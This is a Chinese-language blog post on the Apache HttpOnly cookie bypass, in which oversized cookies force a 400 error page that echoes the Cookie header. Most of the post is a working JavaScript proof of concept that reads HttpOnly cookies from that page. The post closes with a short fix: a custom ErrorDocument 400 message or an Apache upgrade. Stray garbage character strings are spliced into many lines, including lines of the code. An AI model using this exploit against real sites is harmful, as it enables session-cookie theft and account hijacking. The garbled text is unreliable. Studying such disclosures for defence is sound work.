Apache HttpOnly Cookie XSS跨站漏洞

admin

很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题，一般都采用给cookie加上httponly的属性，来禁止直接使用js得到用户的cookie，从而降低xss的危害，而这个问题刚好可以用来绕过cookie的这个httponly的属性。
. V+ J8 `+ Q9 ?% A) e
2 o  q% w( F0 [: x2 z+ e$ L0 _用chrome打开一个站点，F12打开开发者工具，找到console输入如下代码并回车:
7 S- Y! I7 Z3 o# n; l

// http://www.exploit-db.com/exploits/18442/
# B8 \, a9 u0 ^) |# K. n, b; r0 H, yfunction setCookies (good) {
& c, ~4 b7 x$ ]3 \$ H// Construct string for cookie value
var str = "";
) G7 B; N, Q! y# Sfor (var i=0; i< 819; i++) {
* R! N* R. {% M( Vstr += "x";
}
// Set cookies
for (i = 0; i < 10; i++) {
// Expire evil cookie
8 E, W4 i" r: U" @8 f( ]& rif (good) {
var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
}
// Set evil cookie
1 a& C9 i: l4 D  h% K! {9 c' felse {
7 y8 q; O# |8 ^, ]& V  v- n8 _# kvar cookie = "xss"+i+"="+str+";path=/";
; `; R& I+ Q7 G) H9 `, |}
document.cookie = cookie;
. ]. |* Z! L" H0 f" \7 _}
9 u/ Z& X4 o/ c$ R& @8 C5 S}
4 i; Z7 e9 c* j/ q* }3 K& d+ l6 lfunction makeRequest() {
setCookies();
function parseCookies () {
var cookie_dict = {};
// Only react on 400 status
if (xhr.readyState === 4 && xhr.status === 400) {
4 g3 \! F/ N0 ^* C; D; Y// Replace newlines and match <pre> content
% Y6 l' d& y) G/ B6 `# j# @# [var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
if (content.length) {
4 B) @8 W/ O/ \. V// Remove Cookie: prefix
content = content[1].replace("Cookie: ", "");
var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
" s$ j5 }, W) K3 J// Add cookies to object
for (var i=0; i<cookies.length; i++) {
var s_c = cookies.split('=',2);
cookie_dict[s_c[0]] = s_c[1];
* m" ?$ k3 j, }* X/ }; t+ W}
}
! S& y5 o% j! f' K7 E, A* m  {// Unset malicious cookies
" \$ i) \+ L" }* fsetCookies(true);
8 C2 g* _; s: m. y! V2 Oalert(JSON.stringify(cookie_dict));
$ R5 c3 ], ]! |; ~2 B2 b: z}
}
// Make XHR request
. V" Y9 ^. h2 X7 E5 evar xhr = new XMLHttpRequest();
xhr.onreadystatechange = parseCookies;
xhr.open("GET", "/", true);
xhr.send(null);
}
makeRequest();

& v7 V7 U+ {  J! T2 s你就能看见华丽丽的400错误包含着cookie信息。
* Z" C$ Y& f. O0 I0 D" t+ q  t  z
下载地址：https://gist.github.com/pilate/1955a1c28324d4724b7b/download#

修复方案：

( ^& _2 O0 x' `( T4 eApache官方提供4种错误处理方式（http://httpd.apache.org/docs/2.0/mod/core.html#errordocument），如下
+ D1 W+ \% A* g+ O" f
In the event of a problem or error, Apachecan be configured to do one of four things,

1. output asimple hardcoded error message输出一个简单生硬的错误代码信息
2. output acustomized message输出一段信息
' a, z- J7 J1 e" ~2 f3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面
4. redirect to an external URL to handle theproblem/error转向一个外部URL
/ ?9 C9 o# r7 m1 c3 N
经测试，对于400错误只有方法2有效，返回包不会再包含cookie内容
$ @4 z, ]' w7 h9 w2 I+ P2 _; }
Apache配置：

+ V! [( ~. `0 e/ wErrorDocument400 " security test"
% z  a  |3 U  K
当然，升级apache到最新也可：）。

% I, u$ }3 x, x参考：http://httpd.apache.org/security/vulnerabilities_22.html